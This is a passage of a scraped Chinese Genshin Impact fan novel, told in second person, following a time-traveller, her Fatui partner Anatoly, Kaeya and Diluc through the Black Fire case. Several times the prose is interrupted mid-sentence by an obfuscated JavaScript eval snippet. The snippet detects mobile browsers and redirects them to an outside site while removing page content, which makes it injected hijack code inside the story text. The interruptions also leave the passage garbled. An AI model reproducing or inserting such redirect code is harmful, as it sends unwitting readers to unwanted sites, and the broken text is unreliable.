众,但从一个盗宝团手里坚持一段时间,已经算是成功了。 更何况是魔物—— “利用绘制水元素折射的光影干扰魔物的行进方向,诱导至预定的陷阱,再以最小最精准的力量瓦解行动能力……”他默默分析着你之前的所作所为,看向你时微微颔首,“减少了过多的精神力损耗,用最小化的方式解决魔物,做得不错。” “多亏搭档你教得好呀……”你颇为得意。 唰—— 还没来得及说完,破空声划开冷冽的空气,擦过你的耳畔,你自己都没来得及反应,先挪开身子及时侧开——这一瞬间时间仿佛都变得粘滞了,你瞥见一旁未出鞘的短刀,顺着胳膊往上,是搭档面具上鲜红的灯带条,比血液还要刺眼。 发丝飞扬,衣摆翻飞,你抬手将还没收好的卷轴向上格挡,再错开脚步滑出去! “你……”你撤开距离摸到了腰间的匕首,喘着气平复剧烈的心跳,刚才有一瞬间以为真的要完了。 他保持着刚才出击的动作,再缓缓放下手,看向你的时候红光不再先前那么刺眼目了:“反应及时,没有硬接是很明智的选择,但——为什么会第一时间用卷轴,而不是匕首?” 你终于理解了他的意图,眨巴着眼站好了身子:“下,下意识,手上有什么先用什么了……” “如果我是敌人,你的卷轴刚才已经离手了,最大的底牌不能用作抵抗武器。”他声音略微提高,缓步走过来,伸手带着你的手将匕首拔出来,移到你眼前,越过利刃盯着你,“你应该记住,刚才应该用什么,而不是顺手把手里的东西扔出去。” 从开始训练到他第一次突袭,花了四个月多,最初的空砍,到经典的木桩练习,再到他目前的随机偷袭,从背面,从侧面,甚至正面。 在训练的间隙、中场休息的末尾、甚至是在食堂吃饭的时候突然冒出来,用的武器也千奇百怪的,寻常的冷兵器就算了,餐刀叉子勺子,还有薯条是什么鬼啊!而且在他出手之前你完全感受不到他突然间的意图,基本都是率先避开。 这种生怕下一秒就噶掉的后怕让你睡觉前都要确认一遍门窗关紧了没。 这种惊喜般的日常,虽然突发频率也不是很高,但依旧心有余悸,不过习惯着习惯着,似乎好像也没什么大不了了。那些动作前的呼吸、微小的动作、还有你说不上来的直觉——像是某天突然解锁了时停,无形的气息化为可见的轨迹,所有的动作变得极为缓慢。 你率先一把摁住他的刀柄。。。 “……”你俩相视无言,一阵诡异的沉默。你绷着嘴角没有挪开目光,虽然隔着面具不知道看哪,就一味盯着上面的其中的一小段划痕。 “……很好。”像是终于找回自己的声音,阿纳托利没有下一步的动作,就着极近的距离,红光又弱了几分,“你是怎么察觉的?” 他听着你那些有些不确定的直觉话语,微微侧头:“记住刚才的感觉,然后,找机会反制我。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你躺在空无一物的雪原上,感受着雪花落在脸颊上的冰凉感,怀里的放热瓶在持续发热,你望着漆黑的夜空,那些久远的记忆像流星那样划过就消失无际。 极光在天边浮现,宛如打翻的颜料,却又和谐地交融,绚丽的色彩没进银河里,呼出的气息也迅速消散。 “你的上司派你来监视我,包括我的人身自由吗?”你问了这么一句。 “不会,我只是保证你的安全。”他就坐在不远处,你抬个头就能看到。 “也就是说我要离开这里,也不会阻止啰?” “……那不属于我的职责之内。” “那怕我无论去到哪里,你的上司都会让你……监视我,对吗?” “可以这么说,就算你去了无法触及的位置,这份职责也不会改变。” 一阵窸窸窣窣后,他先去周围排查安全隐患了,你继续窝在睡袋里,望着夜空眯了眯眼,有点想睡,就眯一下吧。 偶尔也有需要在野外度过的情况,任务的情况愈发复杂,涉及的东西也更接近寻常人遇不见的事物,什么哪里哪里有深渊魔物游荡啦,哪里又发生了什么诡异的事件啦,或者某个橘发小子指名需要你的协助啦…… 已经开始不再那么无聊的任务了,就这样,报酬来多一些,你也能更快脱离「博士」的压榨。 在你打盹儿快要沉入梦里时,似乎又有冰凉的雪花融化在脸颊上,随即一股热源靠近,轻轻抹去那冰凉,低声呢喃:“……睡了么?” “没睡。”你继续闭着眼。 他默默收回手,沉默许久,恢复原本淡淡的语调:“……夜晚温度很低,该回帐篷了。” ……这大概是最后一次在至冬执行愚人众的任务了。 21. 第18章 在等什么 再接凯亚给的委托你就是狗!醒来后第一个想法盘踞在心头。 你直接进了意识海,外表看起来是暂时昏迷了……顺便又找丹特利安回顾那所剩无几的记忆,但高度集中注意力去翻看,让你很快就直接睡了。 后半段似乎又梦到以前的事,意识回笼后你睁开眼,昏暗的室内没有点灯,借着窗外的月光依稀看出这里的布局,简简单单的沙发,桌子,还有书柜,整体古朴典雅。你起身摸索了半天才打开桌上的台灯——这里是骑士团里图书馆的休息室,你记得之前是因为跑委托来着…… 你本来想看看外面的情况,结果一开门就看到坐在一旁的丽莎阿……姐。 “嗯?小可爱醒了呀。”她倒了杯安神茶放在一碟点心旁示意你,往后一靠,笑盈盈的,“来,先补充一下体力吧。” “我这是怎么到这里的?”感谢丽莎阿姐的投喂,茶水很好喝,点心很好吃,但为什么这么晚还在图书馆? “凯亚跟我说你被绑匪劫持了,是他救了你,但……”她同样给自己倒了一杯茶,慢悠悠说着。 “但……?” 她停顿了一会儿,垂下眼帘回忆:“但绑匪跑了,凯亚把你送过来后又回去继续调查……” 之后丽莎慢慢问起之间的细节,你也只是以头晕来搪塞过去,不太记得详情。 她还很贴心让你今晚留下来过夜,毕竟已经深夜了,不安全。你也不好意思拒绝,反正搭档不会有事的,而且这时候离开,万一让他们起疑怎么办?他好不容易为了让你与愚人众划清界限,可不能破坏了。 你倒是很坦然继续在这里睡下了,挂钟滴滴答答的声响催着入睡,可在陌生的环境里却有些难以入眠——在你进意识海后具体发生了啥?阿纳托利又在做什么事?还有这次的羽球节,没记错的话,剧情快要来了…… 希望一切平安无事…… ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 次日 清晨的图书馆没其他人,就连丽莎都没来,亮堂的日光从玻璃花窗倾泻而下,细碎的彩色印在地面,如此静谧的景象让你忍不住多看几眼,但除你以外还有一个人——凯亚坐在附近翻看一本书。 他抬眼看过来,逐渐漾起一丝微弱的笑意,耳边的蓝色光点摇晃着,惹人目光追随。 “南柯小姐,我必须向你道歉,把你置于那样的危险之中,是我严重的失职……但看到你平安,我悬着的心才算放下。”他放下手中的书站起身走过来,甚至还将右手放在胸口,微微颔首行了个骑士礼,“听丽莎说你昨晚的状态不太好,需要我送你到芭芭拉小姐那边吗?” “不,不用麻烦了,就是……你怎么在这里?” “来看看你怎么样了,不过看样子休息得不错?” “也还好吧……” “是么……”他抱臂打量着你,抬起手摸了摸自己的下巴,“走吧,不管昨晚发生了什么,作为你的委托人,你的安全我也有一份责任,可不能让你饿肚子。” 骑士团的餐厅倒是有不少人,见了凯亚就熟稔打招呼,一路过来你只是观察着——啊,这装饰,啊,这墙壁,啊,这花纹,啊—— “说起来,昨晚发生什么来着?脑子还有些不清醒。”你看着他拿了两份早餐,一份给你。 “昨晚啊……我们发现你时,你被绑匪劫持,对方身手相当了得,负伤后逃走了。”他遗憾摇摇头,找了个靠窗的位置坐下,“很遗憾没能当场抓住他,不过你放心,骑士团已经封锁了那片区域,正在全力追查。” 这就意味着他顺利逃走了?你内心紧绷的弦得到些许放松——事后有必要去问他,到底做了什么,居然引起骑士团的注意……不过嘛,还是等他自己出现吧。 “不过——”他慢条斯理切割自己的煎蛋,餐具磕碰的声音不大,配合他刚才故意拉长的调调,让你不免内心咯噔一下,“那个绑匪有些眼熟,虽说一身黑裹得严严实实,脸都看不见,但……” 你继续吃着早餐——大忽悠,在这方面又开始他的套话流程了,看你绷着表情的样子很有趣? “诶……忙到大半夜却找不到半点线索,看来这个绑匪不仅会伪装,反追踪手段也无比了得,城里什么时候出现这号人物了?” “哦……还真是辛苦。”你看他一脸疲惫的模样,满是无奈。 “这也是骑士团的常态了,不过能换来你的关心,这倒是值了。”略带紧张的氛围悄然散去,他微微往后靠,看向窗外,“好了,不说那些了,节日期间有什么安排吗?” 这个角度窗外能将蒙德城下方区域收尽眼底,风车转动的影子摇摇晃晃的,清凉的风逐渐被晨光包裹,愈发舒适起来。 “啊……我答应了阿贝多老师要配合他的实验来着。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 对不起贝老师,你也不是有意拿来作挡箭牌的,实验没有,他大部分时间在忙自己的事,毕竟你目前的状况趋于稳定,倒也不用过于担心。 对不起凯亚亚,因为考虑到之后的剧情,你不想干扰。 有时候就平静得闲出鸟来,一旦引燃了火星子,所有的麻烦全部蜂拥而至,丝毫没有任何喘息空间。在你顺利回到日常后的第二天,记忆里的黑火吞噬了至冬使节的马车——黑火案。 按理来说你只要继续照常生活就好,毕竟你也不清楚丹特利安会不会因为见到相似的气息而躁动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088075|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「你把我当成什么见到猫薄荷的猫了吗?」 “就算你没事,那她有事咋办?” 「哼……」 这天晚上,你准备把阳台的门关上去睡觉,却发现阳台角落里的红光…… “……搭档,你这样好像闯入别人家的不法分子哦。”你眯起眼仔细观察蹲在那里的人,似乎换回寻常的墨色风衣了,真的好像一只暗中观察的黑色猫猫诶……你见他似乎没什么大碍,这才退回房间内。 阿纳托利从阴影里起身走出来,却停在阳台门口,摘下帽子置于胸前,微微低头:“……对不起。” “刚才开玩笑的啦,就是……下次可以走正门。”你回到桌旁给他倒了杯水,见他还杵在原地,只好走过去将水杯递过去,“喝吗?” 他缓缓伸出手接住,低头看着水中的倒影,片刻后突然出声:“上次弄晕了你,我很抱歉……” “嗯?我知道,为了逼真嘛。”你拉住他的衣摆往里面拉了拉,“先进来,我还有问题要问你。” 他的身形一僵,任由你拉进来按在椅子上,他放下一口都没动的水,红光微弱得几乎分辨不出颜色。 “先给你检查一下,别动哈。”你直接抽出卷轴展开绘制治疗符号,绿色的流光环绕他周身。 他还想说些什么,却是像被按了暂停键那般定格在那一瞬间,最终垂下手握紧了拳头。 “嗯,这样就好了。”你坐回床上等待治疗完毕,“不过,你那边的任务具体是什么?” “清理一些不该留下的痕迹,还有……运输任务。” 运输啊,你大概知道是什么东西了。 “不会是运输什么危险物品吧?” “……是。” 脑海中浮现记忆里机械鸟的样子,你听到他这么干脆的应答,有些意外,消化了几分钟才找回声带:“居然回答了……” “对你,没什么好隐瞒的。”他平静地说着,端起刚才的水仰头喝下。 “呃,感谢你的信任?”治疗完毕,微光褪去,你默默收起卷轴来,“如果,我说如果,我去把危险品全部拆了妨碍你们的进程……” 变相当一回暗夜英雄?也算是为骑士团贡献一份力了吧,就当减轻安柏和迪卢克的工作量了~ 他放下杯子垂眸,似乎在思考着什么,片刻后抬起头看向你:“随你,但我要纠正一点,并不是‘你们’,我只是接了任务而已,他们的进程是否受到阻碍,我不关心。” “哈……说忠心吧,完全不关心愚人众的目的,说不忠心吧,却对你上司的身份再三隐瞒……” “……这是两码事。”他继续盯着玻璃杯,试图盯碎,“那你呢?你又在等什么?” 22. 第19章 这回真的被卷入了 “那你呢?你又在等什么?” 红色的灯带条有些刺眼了,你有些不适眯了眯眼。 阿纳托利把一瓶看着就很贵的药膏放在桌上,最后看了你一眼,戴好帽子,起身走向阳台:“只是有些好奇,你在等待什么……” “我在等剧情。”你拿出惯用的话语——只要不说出具体的,就一定猜不到!以前他偶尔也这么问过,就像你问他的上司究竟是谁一样,都在这方面的问题含糊其辞。 “那你可要小心了,卷入其中可是会带来意想不到的后果。”最后他轻笑一声,迅速翻身遁入夜色。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 节日气氛渐浓,街上的商贩、游人异常的多,你并没有发现那个绿色的身影,估计有事吧…… 正好,骑士团在专注于黑火案,用不着关注你这个热心市民。你看着花坛深处报废的机械鸟,转头看向正在警戒的搭档:“你有布置这些吗?” “没有。”他回答得倒是很快。 盯…… 他忍不住回望你的视线:“绝对没有,我只负责运输。” 见他如此认真的模样你也不好再说什么,拍拍灰尘站起身,继续往卷轴上标记的地点走去。 你们一整天游走在街头巷尾,把能见到的机械鸟顺手清理了,他全程看着你动手,然后站在身后望风,期间还享受了一下庆典的活动——隔着屏幕体验和亲身上阵是完全不同的体验。 直到傍晚时分,你在丹特利安的提醒下看到不远处人群中的一红一绿——是安柏和柯莱! 「你不是想见见她吗?过去啊——」祂低声怂恿你。 这人哦不,这魔神咋看热闹不嫌事大啊,同为残渣,真的不会摩擦出什么化学反应吗? “南柯?这里这里!好久不见——”灵敏如安柏,转个头的功夫就发现你了,她伸出手臂向你拼命挥动,还拉着柯莱走过来了! 她、她好热情啊……明明你们才见过几次面,她怎么就记住了?你也没做什么令人印象深刻的事啊,就在野外做委托时被她救了好几次、风之翼考核考了好多次没过而已…… 而那满脸无奈,且脸上还缠着绷带的女孩……她在看到你的一瞬间警惕起来,微微皱眉。 “柯莱,这是我的朋友,南柯,这位是我的新朋友——”活泼的小兔子还在愉快介绍着。 你友好打了个招呼,忽然想起什么,把赢来的兔子玩偶奖品递了过去:“初次见面,柯莱,这个就当见面礼了。” “……谢谢。”她颇为不自在纠结了好一会儿才接过去,再次看向你的警惕神情也减弱了几分——只是当她注意到你头顶的翎羽,默默地后退一步,避开视线。 「黑火啊……还以为是什么呢,只剩怨念了么?」祂突然来了这么一句,随即低笑起来,刺得你大脑皮层生疼。 “……” 安柏依旧和你们兴致勃勃地聊着天,你被祂吵得心不在焉,只能聊几句准备找借口离开——总感觉柯莱的脸肉眼可见黑了起来,救命! “我的花——” 不知是谁的一声惊呼,无数的花伴随着一阵风从高空四散飞扬,五颜六色的几乎覆盖了天空的晚霞,在你下意识抬头的瞬间,手腕被谁轻轻握住将你带离这条街道。 你被阿纳托利拉到稍微空旷的位置才松开,他往前走了几步回身,双手抱臂定定看着你:“……遇到故人很紧张?” “你……谢谢了。”你倚在墙边缓缓舒了口气,“嗯……其实也不算紧张,就,柯莱比较特殊。” “特殊?” “嗯,和我一样体内有魔神残渣,但……她那个并不像丹特利安那样人性化。” 「哇,居然是人性化这个评价,谢谢~」 “所以,你是担心她被那个意识控制?”他若有所思点头。 “有点……不过,结果是好的。” “……结果?” “问你个问题——前段时间晨曦酒庄是不是办了场宴会?博士的其中一个切片出席了?” 他沉默着,来到一旁的栏杆靠着,对你点头确认。 你也来到栏杆边上趴着,将那些记忆简明扼要跟他说了一遍——关于机械鸟的制造者、关于今晚即将发生的事。 他静静听着,最后沉默许久,终于开口:“你果然知道很多,但是,穿越者,为什么要给我剧透?” “我信你啊。” 你看见红光闪动了几下,最终归于平静。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 依照回忆,第二天摘星崖那里会发生一些事,封印魔神残渣的动静引来至冬的使者,还和安柏和柯莱发生了战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你费力拽着他的斗篷,勉强能看见身后骑士团的士兵在穷追不舍!位于最后面的凯亚太远了看不太清,但能清楚听到他的话,穿透无数的灌木被你清晰捕捉——“真是可恶,凶手竟然劫持普通居民……” 迪卢克也是身手了得,带着你从城里一路跑到郊外,逐渐深入无人的野外,门口的卫兵被他几下放倒,继续带着你隐入树林……只是你被颠簸得不太好受,真的要吐了…… 后面偶尔飞过来的箭矢擦着你们过去,迪卢克微微皱眉,象征性拍了拍你当做安抚。 “一定……一定要带上我这个普通居民吗?” “呵……只是为了验证某个猜想——穿越者。” 23. 第19.5章 幕间(番外三)[番外] (如题,时间线跳跃,抵达蒙德荆夫港前夕) 如果不是那下意识脱口而出的话语,恐怕迪卢克是不会多投过来一个眼神。 第一次体验非官方传送,感觉不太好,加上为了困住「散兵」动用了概念级别的能力,精神力消耗过多。再次醒来,你身处一间昏暗狭小的房间里,周围有些杂乱,但床铺和桌面是整洁的,好不容易整理了一下乱哄哄的脑子才意识到此刻是安全的。 不远处的红黑色的身影似乎察觉到你醒来的动静,于是走过来看着你:“醒了?不必着急起身,你现在还很虚弱。” 身体像是刚从水里捞出来那般沉重,即使过了这么久你还是能认出面前的这个人,你张了张嘴,发出的沙哑声音连自己都惊到了:“……这是哪?” “我的临时据点。”他见你这样,走到一旁倒了杯水再回来递过来,“你昏迷了很长的时间,先喝点水吧。” 你撑起身喝了水,又躺在床头理了一下现状——要不是他,你们估计现在还在野外躺着,不过阿纳托利还在隔壁房间躺着,听他的描述,搭档的伤比你的还要严重,但你现在这副模样除了道谢好像也没什么可做的了。 “不必客气。”他摆摆手,拉过一张椅子坐在你旁边,“不过我还是很好奇,你们究竟是什么人?” “这不是一眼就看出来了吗……”你闭眼苦笑。 “魔神残渣……”他的视线落在你蔫了吧唧的翎羽,又挪到你脸上,“愚人众的实验体,是么?” “啊啊,被你看到这么狼狈的模样有点想死呢……”你放弃挣扎。 “呵……”他轻笑一声,略微调整了一下自己的坐姿,“看来你们在愚人众的日子过得并不怎么样。” 紧接着是你肚子的声响稍微打破了焦灼的氛围,他轻叹一声,转身去给你准备食物了。趁着进食的间隙,他询问了一些细节,比如之前发生了什么、为什么突然出现在古代装置旁之类的…… 这是刚好让他看到传送过来的那一刻吗? “但我更好奇的是……”他顿了顿,“在最开始你叫出了我的名字,在那种情况下还能确认我是谁……你,究竟是谁?” 好像是有过……之前在即将昏迷的时候看着他从远处走过来,你就来了句:起猛了,居然是迪卢克…… 有点想回去给自己一巴掌,非得要这样是吧? “说出来你可能不信——我是穿越者,不属于这个世界!” 沉默,预想中诡异的沉默,上次你对阿纳托利这么说的时候也是这样的停顿……远处的烛光晃动了一下,似乎是看不过去这尴尬的气氛而回应你。 这里的一般人是不会轻信这个说法的,只会认为小说看多了,或者精神不太正常,估计就只有像多托雷和阿贝多这样思维超越常理的人会稍微接受。 于是你得到了预想中的问题——证明你说的是真的。 你说出了他成人礼那天的事,他父亲真正的死因、当初的骑士团高层想要掩盖真相…… “你……你究竟从哪知道这件事的?!”他突然起身抓住你的肩膀,几乎要克制不住自己的力道,死死盯着你的双眼,试图找出一丝一毫的端倪。 你只感觉自己突然被这么一晃,头脑更是发昏:“我还知道,你的弟弟来自坎瑞亚……” “够了……” 遏制的呵斥,他最后松开手,后退一步坐回去,神情复杂看着你:“你究竟是谁?为什么知道这么多……” “我是穿越者,而且知道一些事。”你揉着被抓疼的肩膀,于心不忍挪开了视线,“我没有骗你,我知道那次的真相,知道你退团的原因。” 他沉默了好久才说道:“……就算知道这些,也不能说明什么。” “……我想你父亲离去的那天,还有凯亚向你坦白的那天,都在下着雨吧……他甚至还获得了冰神之眼。”你并不是有意揭他的伤疤的,目前只有这个方法能消除他的疑虑。 “你连这个都知道……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 迪卢克需要愚人众的情报,而你或许可以趁此机会顺利去蒙德,只可惜关于你的悬赏令很快遍布这个边陲小镇,不用猜就知道是「博士」发布的,果然还是不放过你吗?可是除了知晓剧情就没别的什么能力,还有什么研究价值……和魔神残渣友好相处? 或者是卷轴的真正能力……? 你想迪卢克他或许不会轻易相信你,但……是否信你已经不重要了,只要做好自己,不与他为敌,或许还能够和平相处。 在休整期间有一个切片找过来想要带你回去,虽说有惊无险被搭档和迪卢克及时解决,但这个人的死亡肯定会惊动其他切片,无论他是否继续追击,这里也是一刻也待不下去了。 最起码,愚人众的手还不能在别的国度明目张胆抓人。 ┄┄┄┄┄┄┄┄┄┄┄ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088077|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ┄┄┄┄┄ “依照承诺,这封信交给你。”红发男人将一枚精致的信封递过来,直视你投过去的视线,“我将蒙德城西风骑士团的阿贝多介绍给你,他……算了,你应该知道他是什么人,总之,这封信可以避免你们遭受不必要的盘查。” 通体雪白的纸壳子印着极为淡雅的暗纹,那红到发黑的火漆上是莱艮芬德的标志,另一面有他的字迹,笔画有力,又保留着贵族特有的优雅线条,像他本人一样沉稳。 “谢谢,我会保管好的。”你郑重接了下来,低头打量,忽然又想到什么,“不过,你就不怕我给的信息有误吗?” “如果你不想继续安稳在蒙德生活下去,你大可以试试。”他的声音突然冷了一个度。 “啊哈哈,刚才开玩笑的,我怎么可能骗你呢……”你默默后退一步,刚才那一下,冷汗直流啊! “最好如此。” 他转身离开之际,脚步放缓,又抛出另一个问题:“在你视角里,我们的相遇是必然的吗?” 嗯?你抬起头看向他的背影,火红色的马尾在阴影中摇曳。你张了张嘴,好半天才找回思维:“我想不是,因为在原本的故事里,我是不存在的。” 迪卢克的身形停滞一瞬,随即肩膀慢慢放松下来,头也不回,快速离开你的视野范围。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 迪卢克给你们安排去往蒙德的方式是,偷渡。 你已经不想说什么了,板着个脸望着舷窗外碧蓝的大海,方式是非常刑,但这样也已经很好了,离开前他还出了一笔资金作为你们的合作费用。 这艘船是货船,上面的船员里有迪卢克的人,所以你们还未被其他人发现,但与此同时,环境肯定不太好。 困了就睡,饿了就吃,无聊了,就到处探索一番,不过还得避免被发现……或是与搭档瞎聊,和丹特利安复盘过往的记忆。 在你倚着窗休憩期间,阿纳托利慢慢来到旁边,却没有下一步动作,他只是静静站在那里,目光从外边的蓝色转移到你身上:“……你早就认识迪卢克了?” “就和你所了解的,我也只是知道一部分。”你睁开眼看过去,又缓缓闭上。 红色的微光暗淡下去,他其实还想问,你所知晓的,有他这个人么,但他不敢开口,那个答案估计会令自己无措。 “……好好休息吧,在抵达之前,还需要保存体力。” 24. 第20章 哪有这样参与的?! 千风神殿 此时天光正好,地上的鸽子们也在悠闲散步,废墟亦有独特破败美感,残垣断壁之间没有其它生物,只剩下寂静、安定,还有瓢虫路过叶子的末端。 “啊……风景真不错……?”你望着远处的摘星崖,默默来了这一句——确实很不错,如果忽略现在的情况的话。 “嗯,蒙德确实是个美丽的地方。”迪卢克的话没有多大的情绪起伏,只是蹲在高处一动不动注视着前方。 “那个,不考虑放开我吗?会影响你们之后的行动吧……”你有些不适,挣扎了一下。 “你觉得,这件事最后的结局是什么?穿越者?”他没有回答你的问题,还收紧了一下手臂,你被他卡在手臂与胸膛之间,双手被他绑在身后,动弹不得。 “……好结局。”你的脸挨着他的胸口,能清楚听到心跳声——哈哈,虽然说被老婆抱着是很好啦,但这种情况怎么看都不妙吧?! “这个答案太含糊了,具体点——比如,那个同样和你拥有魔神残渣的女孩……”他颠了颠你,继续观察四周。 肚子被他的腿顶着非常难受,你只能艰难开口:“……她体内的魔神残渣会被封印……” “然后?” “你们不是在配合演一出戏吗……”你慢慢回忆起那些画面,“之后你会作为黑火案的凶手出场,被骑士团抓住交给至冬使节团那边,然后你自己逃出来了……” 他微微皱眉,微微松了一下,低头看了你一眼:“我配合?配合谁?” “凯亚……” “他们的做事效率太低了。”他冷冷哼了一声,极为不屑。 不是,这个时候为什么要在这种地方较劲啊…… “说起来……昨天是你也在破坏那些机械鸟的吧……”他继续保持这个一动不动的姿势,突然换了个问题。 不愧是他呢,你也只是把能够得着的破坏掉而已,其它的都被他和安柏给处理了,大部分时间还是在参与庆典活动里。 你应了一声点点头。 “你那个搭档……他至今还在为愚人众做事,你就这么任由他跟着?” “人家也是要吃饭的啊。”你有些无奈,“而且他之前帮过我,我也没理由阻止。” “哼……”他忽然起身,拎着你跃下废墟,身后传来冰凌炸响的爆裂声—— “你倒是冷静。”他携着你,躲避攻击的同时用斗篷挡开飞溅的冰块碎渣,“但,事情还没结束,委屈你了,南柯小姐。” 被人扛着打架非常不好受,观感为0,舒适程度为0,自身安全……最危险的地方就是最安全的,比如现在。 黑色的火焰融化了四周袭来冰锥,迪卢克拽着锁链抵挡住凯亚砍来的刀刃,寒气与火焰相碰发出刺耳的“嗞啦”声,激出阵阵白烟,瞬间淹没了周围—— “搞这么大阵仗?”凯亚低语着,手上的力道却丝毫不减。 “再分心,人质的性命可能不保。”迪卢克猛然发力,一扬手臂甩开对方,借着白雾的掩饰极速后撤。 而凯亚在落地的同时释放寒气,凝结的冰霜顺着地面飞速蔓延过去,瞬间冻住对方的小腿,还隐隐有向上攀升的架势! “救,命,啊……”你干瘪棒读着,生无可恋闭上了眼,掀开眼皮尚能看到周围的情况。 由凯亚带领的一支小队在和迪卢克交战,不远处的安柏和柯莱惊魂未定看着突然闯进来的你们,乌泱泱的一群人二话不说就开打,目瞪口呆。 而那个至冬使者由于使用了不该使用的力量,精疲力尽趴在地面,撑着上半身半天却爬不起来——说起来这须弥老头叫什么来着? 但你还是忍不住吐槽——哪有这样参与剧情的? 总之,这样那样声势浩大的战斗,不一会儿就以迪卢克被限制行动而告终,在最后关头他还为了逼真一些,黑火凝结成刀子直指你的脖颈——妈耶,用这么危险的东西指着你的……咦?不烫。 “!!”就算有心理准备,如此场面对凯亚来说冲击力还是有些大,他迅速回神,散发的寒意更冷了,“都最后关头了,也要拉人质下水么?” 迪卢克没有说话,透过面具微微挑眉。 一通语言交锋后,凯亚找准间隙精准压制黑火,几乎是把你夺回来的。利落割掉绳索,他扶着你的手臂死死盯着脖颈,指尖轻触你的手腕的勒痕时,不免暗了下眸色。 “凯亚……”你步伐有些不稳,重心几乎是直接交给他了,“我有预感,你要升职了。” 他眉头一跳,低头看着你发出极轻的笑意,微微俯身:“……托这位小姐的福,骑士团这次行动才如此的顺利。” 按照流程,你被带回骑士团由凯亚亲自询问其中的情况,除了和迪卢克的对话,其他的你能编的都编了,在其他成员提及细节时凯亚还贴心的表示你受惊了,下次再补录。 这些琐碎的事情几乎占用了你半天,直到傍晚才得到自由,刚回到楼下就被阿纳托利拽住手臂——被他拉着东看西看,确认没有其他伤势后这才长舒一口气。 “情况我大致了解了,还请……”阿纳托利扶着面具后退一步,红光弱得几近暗淡,垂在身侧的手攥紧又松开,“如果你以后要参与进去,请提前告诉我,无论如何,你的安全是我的职责。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 骑士团图书馆 在前往指定房间补充笔录时,你看到柯莱正接受丽莎的指导绞尽脑汁写信中,褪去绷带的女孩比那时候稍微阳光了那么一点,眸子也恢复了神采。 “……是你?”在你停下脚步停留原地,注视这如此温馨的一幕时,一道低沉的声音冷不丁从身后响起,你浑身鸡皮疙瘩都起来了! 转身看去,黑色的斗篷、须弥特色装饰、胡狼耳朵造型的兜帽……咦? 兜帽底下的白发遮住了右侧的眼睛,而另一只红色的瞳孔紧紧盯着你的眼睛,似是在审视,赛诺再一次开口了:“与柯莱相似的人……是你。” “啊…啊?为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了,当时情况紧急,没来得及仔细确认,让我看看那家伙……没真伤到你吧?”他像是想起什么似的,直起身看向你,神色专注。 本来迪卢克绑得就不严实,是你自己不小心挣扎得用力过头了,也只是破了皮而已,你无所谓耸肩,撸起袖子展示手腕:“已经涂药了,没什么大碍,也不影响生活。” 他起来绕过桌子来到你面前蹲下,伸手轻轻扶住你的手臂仔细查看。如此近距离看着他,你趁机多打量了他的眼睛——灰蓝的色泽更偏向透彻的蓝,折射在寒冰之中的微光流转着,四角星瞳孔在这个距离下更加清晰了,宛如极寒中的启明星。 这个颜色,好看! “没事就好,黑火可不是闹着玩的,那两名至冬使节就是例子,人直接没了。”他抬头看过来,撞入你放空的思绪中,笑意柔和,“……看来这位凶手在劫持人质方面,还算有点基本的职业道德。” “专业人士的话那确实。”甚至可以从某种角度来说,他心里有你!你看着自己的手腕,默默收回来。 “嗯嗯,这么看来,凶手在挑选人质方面,同样也有专业的眼光。”他闭眼轻叹一声,起身整理自己的手套,“欸……好了,证人的状态好得不能再好了,有了这份口供,我想可以完美收官了——” 25. 第21章 红黄蓝,还是红黄绿 黑火案顺利解决,羽球节照常继续,柯莱与赛诺前往须弥,迪卢克也正式回归大众视野。而你,被骑士团授予一枚关于“热心市民协助骑士团缉拿黑火案凶手”的荣誉奖章。 “我向琴副团长提的意见,她很快就采纳了~” 酒馆里几乎是骑士团的人,而吧台的位置除了迪卢克,只有凯亚……和一只配色怪异的巨型花瓶。 你是被凯亚邀请过来参加聚会的,既是庆祝黑火案顺利结案,也是祝贺他的升职,同时也是趁着羽球节还未结束而热闹一番。他那身白色礼服让你挪不开眼——老婆,很帅哦。 实际上你对这种聚会不感兴趣,人多嘈杂,你也不是核心贡献者,更不是骑士团的人,自然没有更多的话题可聊,但他说顺便把之前委托的报酬,以及这次的奖励给你…… 今天是迪卢克当班,他只是淡淡看了你一眼,给你推过来一杯,你抿了一口——怎么是无酒精饮料! “未成年人禁止饮酒。”他预判了你的话,提前解释。 “哎呀,老板太严格了。”凯亚有些遗憾似的摇头,凑过来对你轻声说道,“你要是想的话我下次请你~” 